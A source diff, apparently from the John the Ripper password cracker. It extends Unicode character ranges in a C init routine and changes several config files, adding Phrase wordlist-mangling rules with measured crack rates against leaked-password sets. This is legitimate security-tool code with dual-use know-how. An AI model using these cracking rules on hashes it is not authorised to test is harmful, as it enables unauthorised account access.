 		charset[i++] = c++;
 // 3400..4DBF; CJK Unified Ideographs Extension A
 	c = 0x3400;		// from <CJK Ideograph Extension A, First>
-	while (c <= 0x4db5)	// ..to <CJK Ideograph Extension A, Last>
+	while (c <= 0x4dbf)	// ..to <CJK Ideograph Extension A, Last>
 		charset[i++] = c++;
 // 4DC0..4DFF; Yijing Hexagram Symbols
 	c = 0x4dc0;		// from HEXAGRAM FOR THE CREATIVE HEAVEN
@@ -1080,7 +1071,7 @@ void init()
 		charset[i++] = c++;
 // 4E00..9FFF; CJK Unified Ideographs
 	c = 0x4e00;		// from <CJK Ideograph, First>
-	while (c <= 0x9fef)	// ..to <CJK Ideograph, Last>
+	while (c <= 0x9ffc)	// ..to <CJK Ideograph, Last>
 		charset[i++] = c++;
 // A000..A48F; Yi Syllables
 	c = 0xa000;		// from YI SYLLABLE IT
@@ -1112,14 +1103,17 @@ void init()
 		charset[i++] = c++;
 // A720..A7FF; Latin Extended-D
 	c = 0xa720;		// from MODIFIER LETTER STRESS AND HIGH TONE
-	while (c <= 0xa7b9)	// ..to LATIN SMALL LETTER U WITH STROKE
+	while (c <= 0xa7bf)	// ..to LATIN SMALL LETTER GLOTTAL U
 		charset[i++] = c++;
-	c = 0xa7f7;		// from LATIN EPIGRAPHIC LETTER SIDEWAYS I
+	c = 0xa7c2;		// from LATIN CAPITAL LETTER ANGLICANA W
+	while (c <= 0xa7ca)	// ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+		charset[i++] = c++;
+	c = 0xa7f5;		// from LATIN CAPITAL LETTER REVERSED HALF H
 	while (c <= 0xa7ff)	// ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
 		charset[i++] = c++;
 // A800..A82F; Syloti Nagri
 	c = 0xa800;		// from SYLOTI NAGRI LETTER A
-	while (c <= 0xa82b)	// ..to SYLOTI NAGRI POETRY MARK-4
+	while (c <= 0xa82c)	// ..to SYLOTI NAGRI SIGN ALTERNATE HASANTA
 		charset[i++] = c++;
 // A830..A83F; Common Indic Number Forms
 	c = 0xa830;		// from NORTH INDIC FRACTION ONE QUARTER
@@ -1212,7 +1206,7 @@ void init()
 		charset[i++] = c++;
 // AB30..AB6F; Latin Extended-E
 	c = 0xab30;		// from LATIN SMALL LETTER BARRED ALPHA
-	while (c <= 0xab65)	// ..to GREEK LETTER SMALL CAPITAL OMEGA
+	while (c <= 0xab6b)	// ..to MODIFIER LETTER RIGHT TACK
 		charset[i++] = c++;
 // AB70..ABBF; Cherokee Supplement
 	c = 0xab70;		// from CHEROKEE SMALL LETTER A
@@ -1378,7 +1372,7 @@ void init()
 		charset[i++] = c++;
 // 10190..101CF; Ancient Symbols
 	c = 0x10190;		// from ROMAN SEXTANS SIGN
-	while (c <= 0x1019b)	// ..to ROMAN CENTURIAL SIGN
+	while (c <= 0x1019c)	// ..to ASCIA SYMBOL
 		charset[i++] = c++;
 	charset[i++] = 0x101a0;	// GREEK SYMBOL TAU RHO
 // 101D0..101FF; Phaistos Disc
@@ -1620,6 +1614,14 @@ void init()
 	c = 0x10e60;		// from RUMI DIGIT ONE
 	while (c <= 0x10e7e)	// ..to RUMI FRACTION TWO THIRDS
 		charset[i++] = c++;
+// 10E80..10EBF; Yezidi
+	c = 0x10e80;		// from YEZIDI LETTER ELIF
+	while (c <= 0x10ea9)	// ..to YEZIDI LETTER ET
+		charset[i++] = c++;
+	charset[i++] = 0x10eab;	// YEZIDI COMBINING HAMZA MARK
+	charset[i++] = 0x10ead;	// YEZIDI HYPHENATION MARK
+	charset[i++] = 0x10eb0;	// YEZIDI LETTER LAM WITH DOT ABOVE
+	charset[i++] = 0x10eb1;	// YEZIDI LETTER YOT WITH CIRCUMFLEX ABOVE
 // 10F00..10F2F; Old Sogdian
 	c = 0x10f00;		// from OLD SOGDIAN LETTER ALEPH
 	while (c <= 0x10f27)	// ..to OLD SOGDIAN LIGATURE AYIN-DALETH
@@ -1628,6 +1630,14 @@ void init()
 	c = 0x10f30;		// from SOGDIAN LETTER ALEPH
 	while (c <= 0x10f59)	// ..to SOGDIAN PUNCTUATION HALF CIRCLE WITH DOT
 		charset[i++] = c++;
+// 10FB0..10FDF; Chorasmian
+	c = 0x10fb0;		// from CHORASMIAN LETTER ALEPH
+	while (c <= 0x10fcb)	// ..to CHORASMIAN NUMBER ONE HUNDRED
+		charset[i++] = c++;
+// 10FE0..10FFF; Elymaic
+	c = 0x10fe0;		// from ELYMAIC LETTER ALEPH
+	while (c <= 0x10ff6)	// ..to ELYMAIC LIGATURE ZAYIN-YODH
+		charset[i++] = c++;
 // 11000..1107F; Brahmi
 	c = 0x11000;		// from BRAHMI SIGN CANDRABINDU
 	while (c <= 0x1104d)	// ..to BRAHMI PUNCTUATION LOTUS
@@ -1653,7 +1663,7 @@ void init()
 	while (c <= 0x11134)	// ..to CHAKMA MAAYYAA
 		charset[i++] = c++;
 	c = 0x11136;		// from CHAKMA DIGIT ZERO
-	while (c <= 0x11146)	// ..to CHAKMA VOWEL SIGN EI
+	while (c <= 0x11147)	// ..to CHAKMA LETTER VAA
 		charset[i++] = c++;
 // 11150..1117F; Mahajani
 	c = 0x11150;		// from MAHAJANI LETTER A
@@ -1661,9 +1671,6 @@ void init()
 		charset[i++] = c++;
 // 11180..111DF; Sharada
 	c = 0x11180;		// from SHARADA SIGN CANDRABINDU
-	while (c <= 0x111cd)	// ..to SHARADA SUTRA MARK
-		charset[i++] = c++;
-	c = 0x111d0;		// from SHARADA DIGIT ZERO
 	while (c <= 0x111df)	// ..to SHARADA SECTION MARK-2
 		charset[i++] = c++;
 // 111E0..111FF; Sinhala Archaic Numbers
@@ -1735,10 +1742,11 @@ void init()
 		charset[i++] = c++;
 // 11400..1147F; Newa
 	c = 0x11400;		// from NEWA LETTER A
-	while (c <= 0x11459)	// ..to NEWA DIGIT NINE
+	while (c <= 0x1145b)	// ..to NEWA PLACEHOLDER MARK
+		charset[i++] = c++;
+	c = 0x1145d;		// from NEWA INSERTION SIGN
+	while (c <= 0x11461)	// ..to NEWA SIGN UPADHMANIYA
 		charset[i++] = c++;
-	charset[i++] = 0x1145d;	// NEWA INSERTION SIGN
-	charset[i++] = 0x1145e;	// NEWA SANDHI MARK
 // 11480..114DF; Tirhuta
 	c = 0x11480;		// from TIRHUTA ANJI
 	while (c <= 0x114c7)	// ..to TIRHUTA OM
@@ -1766,7 +1774,7 @@ void init()
 		charset[i++] = c++;
 // 11680..116CF; Takri
 	c = 0x11680;		// from TAKRI LETTER A
-	while (c <= 0x116b7)	// ..to TAKRI SIGN NUKTA
+	while (c <= 0x116b8)	// ..to TAKRI LETTER ARCHAIC KHA
 		charset[i++] = c++;
 	c = 0x116c0;		// from TAKRI DIGIT ZERO
 	while (c <= 0x116c9)	// ..to TAKRI DIGIT NINE
@@ -1790,15 +1798,42 @@ void init()
 	while (c <= 0x118f2)	// ..to WARANG CITI NUMBER NINETY
 		charset[i++] = c++;
 	charset[i++] = 0x118ff;	// WARANG CITI OM
+// 11900..1195F; Dives Akuru
+	c = 0x11900;		// from DIVES AKURU LETTER A
+	while (c <= 0x11906)	// ..to DIVES AKURU LETTER E
+		charset[i++] = c++;
+	c = 0x1190c;		// from DIVES AKURU LETTER KA
+	while (c <= 0x11913)	// ..to DIVES AKURU LETTER JA
+		charset[i++] = c++;
+	charset[i++] = 0x11915;	// DIVES AKURU LETTER NYA
+	charset[i++] = 0x11916;	// DIVES AKURU LETTER TTA
+	c = 0x11918;		// from DIVES AKURU LETTER DDA
+	while (c <= 0x11935)	// ..to DIVES AKURU VOWEL SIGN E
+		charset[i++] = c++;
+	charset[i++] = 0x11937;	// DIVES AKURU VOWEL SIGN AI
+	charset[i++] = 0x11938;	// DIVES AKURU VOWEL SIGN O
+	c = 0x1193b;		// from DIVES AKURU SIGN ANUSVARA
+	while (c <= 0x11946)	// ..to DIVES AKURU END OF TEXT MARK
+		charset[i++] = c++;
+	c = 0x11950;		// from DIVES AKURU DIGIT ZERO
+	while (c <= 0x11959)	// ..to DIVES AKURU DIGIT NINE
+		charset[i++] = c++;
+// 119A0..119FF; Nandinagari
+	c = 0x119a0;		// from NANDINAGARI LETTER A
+	while (c <= 0x119a7)	// ..to NANDINAGARI LETTER VOCALIC RR
+		charset[i++] = c++;
+	c = 0x119aa;		// from NANDINAGARI LETTER E
+	while (c <= 0x119d7)	// ..to NANDINAGARI VOWEL SIGN VOCALIC RR
+		charset[i++] = c++;
+	c = 0x119da;		// from NANDINAGARI VOWEL SIGN E
+	while (c <= 0x119e4)	// ..to NANDINAGARI VOWEL SIGN PRISHTHAMATRA E
+		charset[i++] = c++;
 // 11A00..11A4F; Zanabazar Square
 	c = 0x11a00;		// from ZANABAZAR SQUARE LETTER A
 	while (c <= 0x11a47)	// ..to ZANABAZAR SQUARE SUBJOINER
 		charset[i++] = c++;
 // 11A50..11AAF; Soyombo
 	c = 0x11a50;		// from SOYOMBO LETTER A
-	while (c <= 0x11a83)	// ..to SOYOMBO LETTER KSSA
-		charset[i++] = c++;
-	c = 0x11a86;		// from SOYOMBO CLUSTER-INITIAL LETTER RA
 	while (c <= 0x11aa2)	// ..to SOYOMBO TERMINAL MARK-2
 		charset[i++] = c++;
 // 11AC0..11AFF; Pau Cin Hau
@@ -1866,6 +1901,13 @@ void init()
 	c = 0x11ee0;		// from MAKASAR LETTER KA
 	while (c <= 0x11ef8)	// ..to MAKASAR END OF SECTION
 		charset[i++] = c++;
+// 11FB0..11FBF; Lisu Supplement
+	charset[i++] = 0x11fb0;	// LISU LETTER YHA
+// 11FC0..11FFF; Tamil Supplement
+	c = 0x11fc0;		// from TAMIL FRACTION ONE THREE-HUNDRED-AND-TWENTIETH
+	while (c <= 0x11ff1)	// ..to TAMIL SIGN VAKAIYARAA
+		charset[i++] = c++;
+	charset[i++] = 0x11fff;	// TAMIL PUNCTUATION END OF TEXT
 // 12000..123FF; Cuneiform
 	c = 0x12000;		// from CUNEIFORM SIGN A
 	while (c <= 0x12399)	// ..to CUNEIFORM SIGN U U
@@ -1885,6 +1927,10 @@ void init()
 	c = 0x13000;		// from EGYPTIAN HIEROGLYPH A001
 	while (c <= 0x1342e)	// ..to EGYPTIAN HIEROGLYPH AA032
 		charset[i++] = c++;
+// 13430..1343F; Egyptian Hieroglyph Format Controls
+	c = 0x13430;		// from EGYPTIAN HIEROGLYPH VERTICAL JOINER
+	while (c <= 0x13438)	// ..to EGYPTIAN HIEROGLYPH END SEGMENT
+		charset[i++] = c++;
 // 14400..1467F; Anatolian Hieroglyphs
 	c = 0x14400;		// from ANATOLIAN HIEROGLYPH A001
 	while (c <= 0x14646)	// ..to ANATOLIAN HIEROGLYPH A530
@@ -1931,24 +1977,35 @@ void init()
 		charset[i++] = c++;
 // 16F00..16F9F; Miao
 	c = 0x16f00;		// from MIAO LETTER PA
-	while (c <= 0x16f44)	// ..to MIAO LETTER HHA
+	while (c <= 0x16f4a)	// ..to MIAO LETTER RTE
 		charset[i++] = c++;
-	c = 0x16f50;		// from MIAO LETTER NASALIZATION
-	while (c <= 0x16f7e)	// ..to MIAO VOWEL SIGN NG
+	c = 0x16f4f;		// from MIAO SIGN CONSONANT MODIFIER BAR
+	while (c <= 0x16f87)	// ..to MIAO VOWEL SIGN UI
 		charset[i++] = c++;
 	c = 0x16f8f;		// from MIAO TONE RIGHT
 	while (c <= 0x16f9f)	// ..to MIAO LETTER REFORMED TONE-8
 		charset[i++] = c++;
 // 16FE0..16FFF; Ideographic Symbols and Punctuation
-	charset[i++] = 0x16fe0;	// TANGUT ITERATION MARK
-	charset[i++] = 0x16fe1;	// NUSHU ITERATION MARK
+	c = 0x16fe0;		// from TANGUT ITERATION MARK
+	while (c <= 0x16fe4)	// ..to KHITAN SMALL SCRIPT FILLER
+		charset[i++] = c++;
+	charset[i++] = 0x16ff0;	// VIETNAMESE ALTERNATE READING MARK CA
+	charset[i++] = 0x16ff1;	// VIETNAMESE ALTERNATE READING MARK NHAY
 // 17000..187FF; Tangut
 	c = 0x17000;		// from <Tangut Ideograph, First>
-	while (c <= 0x187f1)	// ..to <Tangut Ideograph, Last>
+	while (c <= 0x187f7)	// ..to <Tangut Ideograph, Last>
 		charset[i++] = c++;
 // 18800..18AFF; Tangut Components
 	c = 0x18800;		// from TANGUT COMPONENT-001
-	while (c <= 0x18af2)	// ..to TANGUT COMPONENT-755
+	while (c <= 0x18aff)	// ..to TANGUT COMPONENT-768
+		charset[i++] = c++;
+// 18B00..18CFF; Khitan Small Script
+	c = 0x18b00;		// from KHITAN SMALL SCRIPT CHARACTER-18B00
+	while (c <= 0x18cd5)	// ..to KHITAN SMALL SCRIPT CHARACTER-18CD5
+		charset[i++] = c++;
+// 18D00..18D8F; Tangut Supplement
+	c = 0x18d00;		// from <Tangut Ideograph Supplement, First>
+	while (c <= 0x18d08)	// ..to <Tangut Ideograph Supplement, Last>
 		charset[i++] = c++;
 // 1B000..1B0FF; Kana Supplement
 	c = 0x1b000;		// from KATAKANA LETTER ARCHAIC E
@@ -1958,6 +2015,12 @@ void init()
 	c = 0x1b100;		// from HENTAIGANA LETTER RE-3
 	while (c <= 0x1b11e)	// ..to HENTAIGANA LETTER N-MU-MO-2
 		charset[i++] = c++;
+// 1B130..1B16F; Small Kana Extension
+	charset[i++] = 0x1b150;	// HIRAGANA LETTER SMALL WI
+	charset[i++] = 0x1b152;	// HIRAGANA LETTER SMALL WO
+	c = 0x1b164;		// from KATAKANA LETTER SMALL WI
+	while (c <= 0x1b167)	// ..to KATAKANA LETTER SMALL N
+		charset[i++] = c++;
 // 1B170..1B2FF; Nushu
 	c = 0x1b170;		// from NUSHU CHARACTER-1B170
 	while (c <= 0x1b2fb)	// ..to NUSHU CHARACTER-1B2FB
@@ -2087,6 +2150,23 @@ void init()
 	c = 0x1e026;		// from COMBINING GLAGOLITIC LETTER YO
 	while (c <= 0x1e02a)	// ..to COMBINING GLAGOLITIC LETTER FITA
 		charset[i++] = c++;
+// 1E100..1E14F; Nyiakeng Puachue Hmong
+	c = 0x1e100;		// from NYIAKENG PUACHUE HMONG LETTER MA
+	while (c <= 0x1e12c)	// ..to NYIAKENG PUACHUE HMONG LETTER W
+		charset[i++] = c++;
+	c = 0x1e130;		// from NYIAKENG PUACHUE HMONG TONE-B
+	while (c <= 0x1e13d)	// ..to NYIAKENG PUACHUE HMONG SYLLABLE LENGTHENER
+		charset[i++] = c++;
+	c = 0x1e140;		// from NYIAKENG PUACHUE HMONG DIGIT ZERO
+	while (c <= 0x1e149)	// ..to NYIAKENG PUACHUE HMONG DIGIT NINE
+		charset[i++] = c++;
+	charset[i++] = 0x1e14e;	// NYIAKENG PUACHUE HMONG LOGOGRAM NYAJ
+	charset[i++] = 0x1e14f;	// NYIAKENG PUACHUE HMONG CIRCLED CA
+// 1E2C0..1E2FF; Wancho
+	c = 0x1e2c0;		// from WANCHO LETTER AA
+	while (c <= 0x1e2f9)	// ..to WANCHO DIGIT NINE
+		charset[i++] = c++;
+	charset[i++] = 0x1e2ff;	// WANCHO NGUN SIGN
 // 1E800..1E8DF; Mende Kikakui
 	c = 0x1e800;		// from MENDE KIKAKUI SYLLABLE M001 KI
 	while (c <= 0x1e8c4)	// ..to MENDE KIKAKUI SYLLABLE M060 NYON
@@ -2096,7 +2176,7 @@ void init()
 		charset[i++] = c++;
 // 1E900..1E95F; Adlam
 	c = 0x1e900;		// from ADLAM CAPITAL LETTER ALIF
-	while (c <= 0x1e94a)	// ..to ADLAM NUKTA
+	while (c <= 0x1e94b)	// ..to ADLAM NASALIZATION MARK
 		charset[i++] = c++;
 	c = 0x1e950;		// from ADLAM DIGIT ZERO
 	while (c <= 0x1e959)	// ..to ADLAM DIGIT NINE
@@ -2107,6 +2187,10 @@ void init()
 	c = 0x1ec71;		// from INDIC SIYAQ NUMBER ONE
 	while (c <= 0x1ecb4)	// ..to INDIC SIYAQ ALTERNATE LAKH MARK
 		charset[i++] = c++;
+// 1ED00..1ED4F; Ottoman Siyaq Numbers
+	c = 0x1ed01;		// from OTTOMAN SIYAQ NUMBER ONE
+	while (c <= 0x1ed3d)	// ..to OTTOMAN SIYAQ FRACTION ONE SIXTH
+		charset[i++] = c++;
 // 1EE00..1EEFF; Arabic Mathematical Alphabetic Symbols
 	c = 0x1ee00;		// from ARABIC MATHEMATICAL ALEF
 	while (c <= 0x1ee03)	// ..to ARABIC MATHEMATICAL DAL
@@ -2179,13 +2263,7 @@ void init()
 		charset[i++] = c++;
 // 1F100..1F1FF; Enclosed Alphanumeric Supplement
 	c = 0x1f100;		// from DIGIT ZERO FULL STOP
-	while (c <= 0x1f10c)	// ..to DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
-		charset[i++] = c++;
-	c = 0x1f110;		// from PARENTHESIZED LATIN CAPITAL LETTER A
-	while (c <= 0x1f16b)	// ..to RAISED MD SIGN
-		charset[i++] = c++;
-	c = 0x1f170;		// from NEGATIVE SQUARED LATIN CAPITAL LETTER A
-	while (c <= 0x1f1ac)	// ..to SQUARED VOD
+	while (c <= 0x1f1ad)	// ..to MASK WORK SYMBOL
 		charset[i++] = c++;
 	c = 0x1f1e6;		// from REGIONAL INDICATOR SYMBOL LETTER A
 	while (c <= 0x1f1ff)	// ..to REGIONAL INDICATOR SYMBOL LETTER Z
@@ -2218,13 +2296,13 @@ void init()
 		charset[i++] = c++;
 // 1F680..1F6FF; Transport and Map Symbols
 	c = 0x1f680;		// from ROCKET
-	while (c <= 0x1f6d4)	// ..to PAGODA
+	while (c <= 0x1f6d7)	// ..to ELEVATOR
 		charset[i++] = c++;
 	c = 0x1f6e0;		// from HAMMER AND WRENCH
 	while (c <= 0x1f6ec)	// ..to AIRPLANE ARRIVING
 		charset[i++] = c++;
 	c = 0x1f6f0;		// from SATELLITE
-	while (c <= 0x1f6f9)	// ..to SKATEBOARD
+	while (c <= 0x1f6fc)	// ..to ROLLER SKATE
 		charset[i++] = c++;
 // 1F700..1F77F; Alchemical Symbols
 	c = 0x1f700;		// from ALCHEMICAL SYMBOL FOR QUINTESSENCE
@@ -2234,6 +2312,9 @@ void init()
 	c = 0x1f780;		// from BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE
 	while (c <= 0x1f7d8)	// ..to NEGATIVE CIRCLED SQUARE
 		charset[i++] = c++;
+	c = 0x1f7e0;		// from LARGE ORANGE CIRCLE
+	while (c <= 0x1f7eb)	// ..to LARGE BROWN SQUARE
+		charset[i++] = c++;
 // 1F800..1F8FF; Supplemental Arrows-C
 	c = 0x1f800;		// from LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
 	while (c <= 0x1f80b)	// ..to DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -2250,37 +2331,58 @@ void init()
 	c = 0x1f890;		// from LEFTWARDS TRIANGLE ARROWHEAD
 	while (c <= 0x1f8ad)	// ..to WHITE ARROW SHAFT WIDTH TWO THIRDS
 		charset[i++] = c++;
+	charset[i++] = 0x1f8b0;	// ARROW POINTING UPWARDS THEN NORTH WEST
+	charset[i++] = 0x1f8b1;	// ARROW POINTING RIGHTWARDS THEN CURVING SOUTH WEST
 // 1F900..1F9FF; Supplemental Symbols and Pictographs
 	c = 0x1f900;		// from CIRCLED CROSS FORMEE WITH FOUR DOTS
-	while (c <= 0x1f90b)	// ..to DOWNWARD FACING NOTCHED HOOK WITH DOT
+	while (c <= 0x1f978)	// ..to DISGUISED FACE
 		charset[i++] = c++;
-	c = 0x1f910;		// from ZIPPER-MOUTH FACE
-	while (c <= 0x1f93e)	// ..to HANDBALL
+	c = 0x1f97a;		// from FACE WITH PLEADING EYES
+	while (c <= 0x1f9cb)	// ..to BUBBLE TEA
 		charset[i++] = c++;
-	c = 0x1f940;		// from WILTED FLOWER
-	while (c <= 0x1f970)	// ..to SMILING FACE WITH SMILING EYES AND THREE HEARTS
-		charset[i++] = c++;
-	c = 0x1f973;		// from FACE WITH PARTY HORN AND PARTY HAT
-	while (c <= 0x1f976)	// ..to FREEZING FACE
-		charset[i++] = c++;
-	c = 0x1f97c;		// from LAB COAT
-	while (c <= 0x1f9a2)	// ..to SWAN
-		charset[i++] = c++;
-	c = 0x1f9b0;		// from EMOJI COMPONENT RED HAIR
-	while (c <= 0x1f9b9)	// ..to SUPERVILLAIN
-		charset[i++] = c++;
-	charset[i++] = 0x1f9c0;	// CHEESE WEDGE
-	charset[i++] = 0x1f9c2;	// SALT SHAKER
-	c = 0x1f9d0;		// from FACE WITH MONOCLE
+	c = 0x1f9cd;		// from STANDING PERSON
 	while (c <= 0x1f9ff)	// ..to NAZAR AMULET
 		charset[i++] = c++;
 // 1FA00..1FA6F; Chess Symbols
+	c = 0x1fa00;		// from NEUTRAL CHESS KING
+	while (c <= 0x1fa53)	// ..to BLACK CHESS KNIGHT-BISHOP
+		charset[i++] = c++;
 	c = 0x1fa60;		// from XIANGQI RED GENERAL
 	while (c <= 0x1fa6d)	// ..to XIANGQI BLACK SOLDIER
 		charset[i++] = c++;
+// 1FA70..1FAFF; Symbols and Pictographs Extended-A
+	c = 0x1fa70;		// from BALLET SHOES
+	while (c <= 0x1fa74)	// ..to THONG SANDAL
+		charset[i++] = c++;
+	charset[i++] = 0x1fa78;	// DROP OF BLOOD
+	charset[i++] = 0x1fa7a;	// STETHOSCOPE
+	c = 0x1fa80;		// from YO-YO
+	while (c <= 0x1fa86)	// ..to NESTING DOLLS
+		charset[i++] = c++;
+	c = 0x1fa90;		// from RINGED PLANET
+	while (c <= 0x1faa8)	// ..to ROCK
+		charset[i++] = c++;
+	c = 0x1fab0;		// from FLY
+	while (c <= 0x1fab6)	// ..to FEATHER
+		charset[i++] = c++;
+	charset[i++] = 0x1fac0;	// ANATOMICAL HEART
+	charset[i++] = 0x1fac2;	// PEOPLE HUGGING
+	c = 0x1fad0;		// from BLUEBERRIES
+	while (c <= 0x1fad6)	// ..to TEAPOT
+		charset[i++] = c++;
+// 1FB00..1FBFF; Symbols for Legacy Computing
+	c = 0x1fb00;		// from BLOCK SEXTANT-1
+	while (c <= 0x1fb92)	// ..to UPPER HALF INVERSE MEDIUM SHADE AND LOWER HALF BLOCK
+		charset[i++] = c++;
+	c = 0x1fb94;		// from LEFT HALF INVERSE MEDIUM SHADE AND RIGHT HALF BLOCK
+	while (c <= 0x1fbca)	// ..to WHITE UP-POINTING CHEVRON
+		charset[i++] = c++;
+	c = 0x1fbf0;		// from SEGMENTED DIGIT ZERO
+	while (c <= 0x1fbf9)	// ..to SEGMENTED DIGIT NINE
+		charset[i++] = c++;
 // 20000..2A6DF; CJK Unified Ideographs Extension B
 	c = 0x20000;		// from <CJK Ideograph Extension B, First>
-	while (c <= 0x2a6d6)	// ..to <CJK Ideograph Extension B, Last>
+	while (c <= 0x2a6dd)	// ..to <CJK Ideograph Extension B, Last>
 		charset[i++] = c++;
 // 2A700..2B73F; CJK Unified Ideographs Extension C
 	c = 0x2a700;		// from <CJK Ideograph Extension C, First>
@@ -2302,6 +2404,10 @@ void init()
 	c = 0x2f800;		// from CJK COMPATIBILITY IDEOGRAPH-2F800
 	while (c <= 0x2fa1d)	// ..to CJK COMPATIBILITY IDEOGRAPH-2FA1D
 		charset[i++] = c++;
+// 30000..3134F; CJK Unified Ideographs Extension G
+	c = 0x30000;		// from <CJK Ideograph Extension G, First>
+	while (c <= 0x3134a)	// ..to <CJK Ideograph Extension G, Last>
+		charset[i++] = c++;
 // E0000..E007F; Tags
 	c = 0xe0020;		// from TAG SPACE
 	while (c <= 0xe007f)	// ..to CANCEL TAG

data/jtr/dynamic_disabled.conf

@@ -10,7 +10,8 @@ dynamic_57 = Y
 dynamic_58 = Y
 # dyna-61 used by formspring and should not be disabled.
 dynamic_61 = N
-dynamic_62 = Y
+# dyna-62 is ITW
+dynamic_62 = N
 dynamic_63 = Y
 dynamic_64 = Y
 dynamic_65 = Y
@@ -26,7 +27,8 @@ dynamic_76 = Y
 dynamic_77 = Y
 dynamic_78 = Y
 dynamic_81 = Y
-dynamic_82 = Y
+# dyna-82 it ITW  Filezilla
+dynamic_82 = N
 dynamic_83 = Y
 dynamic_84 = Y
 dynamic_85 = Y

data/jtr/john.conf

@@ -141,10 +141,10 @@ PotFilePermissions = 0600
 # Default is N
 IgnoreChmodErrors = N
 
-# This figure is in MB. The default is to memory map wordlists not larger
-# than one terabyte.
+# This figure is in MiB. The default is to memory map wordlists not larger
+# than one GiB.
 # Set this to 0 to disable any use of memory-mapping in wordlist mode.
-WordlistMemoryMapMaxSize = 1048576
+WordlistMemoryMapMaxSize = 1024
 
 # For single mode, load the full GECOS field (before splitting) as one
 # additional candidate. Normal behavior is to only load individual words
@@ -172,7 +172,8 @@ SingleSkipLogin = N
 SingleWordsPairMax = 6
 
 # Setting this to false stops Single mode from re-testing guessed plaintexts
-# with all other salts.
+# with all other salts.  This is deprecated: Use command-line per-session
+# option --single-retest-guess=no instead.
 SingleRetestGuessed = Y
 
 # Max recursion depth for SingleRetestGuessed, so we don't blow the stack
@@ -215,7 +216,7 @@ SessionFileProtect = Disabled
 # reused by a new session.
 # (Of course, a restored session will always be allowed to append to an
 # existing log file.)
-# Unless you use the --nolog option, setting LogFileProtect will also
+# Unless you use the --no-log option, setting LogFileProtect will also
 # prevent overwriting existing session files.
 LogFileProtect = Disabled
 
@@ -239,6 +240,7 @@ ShowRemainOnStatus = N
 LogCrackedPasswords = N
 
 # Disable the dupe checking when loading hashes. For testing purposes only!
+# This is deprecated: Use per-session option --loader-dupecheck=no instead.
 NoLoaderDupeCheck = N
 
 # Default encoding for input files (ie. login/GECOS fields) and wordlists
@@ -321,11 +323,11 @@ ReloadAtDone = Y
 # but it may be delayed by the "Save" timer setting near top of this file.
 ReloadAtSave = Y
 
-# If this file exists, john will abort cleanly
-AbortFile = /var/run/john/abort
+# If this file exists, john will abort cleanly (uncomment to enable)
+#AbortFile = /var/run/john/abort
 
-# While this file exists, john will pause
-PauseFile = /var/run/john/pause
+# While this file exists, john will pause (uncomment to enable)
+#PauseFile = /var/run/john/pause
 
 # If set to true, the uid will be appended to user name on cracks
 #   With:     password123      (Administrator:500)
@@ -525,12 +527,12 @@ Frequency = 160
 #Frequency = 160
 # Some bitstreams accept runtime configuration.
 # In sha512crypt/Drupal7, configuration is 2 bytes. That's interpreted
-# as a bitmask. By setting any of the lowest 10 bits to 1 it turns off
-# corresponding unit (there are 10 units in the bitstream).
+# as a bitmask. By setting any of the lowest 12 bits to 1 it turns off
+# the corresponding unit (there are 12 units in the bitstream).
 # This turns off units 0 and 1.
 #Config1 = \x03\x00
-# This turns off all 10 units (resulting in a timeout).
-#Config1_04A36E0FD6_0 = \xff\x03
+# This turns off all 12 units (resulting in a timeout).
+#Config1_04A36E0FD6_0 = \xff\x0f
 
 [ZTEX:sha256crypt]
 # Design tools reported possible frequency is 241 MHz but tested boards
@@ -548,10 +550,10 @@ Frequency = 180
 Frequency = 180
 #TargetRounds = 2048
 
-# These formats are disabled from all-formats --test runs, or auto-selection
-# of format from an input file. Even when disabled, you can use them as long
-# as you spell them out with the --format option. Or you can delete a line,
-# comment it out, or change to 'N'
+# These formats are disabled from listing or self-test/benchmark unless
+# specifically requested.  You can use them as long as you add them out with
+# the --format option.  Or you can delete a line, comment it out, or change
+# to 'N' and the format will be enabled again.
 [Disabled:Formats]
 #formatname = Y
 .include '$JOHN/dynamic_disabled.conf'
@@ -723,7 +725,6 @@ DefaultCharset =
 (?a )?d /?d a0 'p Xpz0
 )?a (?d /?a a0 'p Xpz0
 
-
 # "Single crack" mode rules
 [List.Rules:Single]
 # Simple rules come first...
@@ -1015,6 +1016,8 @@ W0Q
 ->F a0 WEQW[z0]W[z1]W[z2]W[z3]W[z4]W[z5]W[z6]W[z7]W[z8]W[z9]W[zA]W[zB]W[zC]W[zD]
 ->G a0 WFQW[z0]W[z1]W[z2]W[z3]W[z4]W[z5]W[z6]W[z7]W[z8]W[z9]W[zA]W[zB]W[zC]W[zD]W[zE]
 
+# This ruleset partially overlaps with some Phrase* rulesets below, but it was
+# historically introduced and made part of the jumbo ruleset first, so it stays
 [List.Rules:Multiword]
 -c /  Dp l
 -c /  Dp c Tp
@@ -1037,6 +1040,49 @@ W0Q
 -c %4[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %2[ ] vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
 -c %4[ ] T[0z] \p0[Q:] \p0[M:] va01 vbpa Tb Q M %3[ ] vbpa Tb Q M /[ ] vbpa Tb Q @?[Zw]
 
+# A special ruleset intended for stacking before other Phrase* rules below,
+# such that you have the option to run its output through "unique" first
+[List.Rules:PhrasePreprocess]
+/[ ] :
+-c /[ ] l Q
+/[ ] @' Q
+-c /[ ] @' Q M l Q
+
+# The main optimized Phrase ruleset, almost no duplicates with proper input
+[List.Rules:Phrase]
+# This one rule cracks ~1050 HIBP v7 passwords per million with sequences of
+# 2 to 6 words occurring 2+ times across Project Gutenberg Australia books
+# when our sequence list includes them in both their original case and
+# all-lowercase, as well as both with apostrophes intact and removed (these
+# variations are not implemented in this ruleset not to produce duplicates)
+@?w Q
+# Sorted separator characters: 1_24 -.3785690@,&+*!'$/?:=#~^%;`>"[)<]|({}\
+# (the apostrophe is probably overrated since it also occurs inside words)
+# Each character in 1_24 cracks ~82 to ~61 passwords per million
+s[ ][1_24] Q
+# Leaving the space separators intact cracks ~59 passwords per million
+/[ ]
+# Each character in -.3785690@ cracks ~53 to ~12 passwords per million
+s[ ][\-.3785690@] Q
+# Each character in ,&+*!'$/?:=#~ cracks ~10 to ~1 passwords per million
+s[ ][,&+*!'$/?:=#~] Q
+
+# Toggle capitalization of words 1 to 6 individually
+[List.Rules:PhraseCaseOne]
+-c /[ ] T0 Q
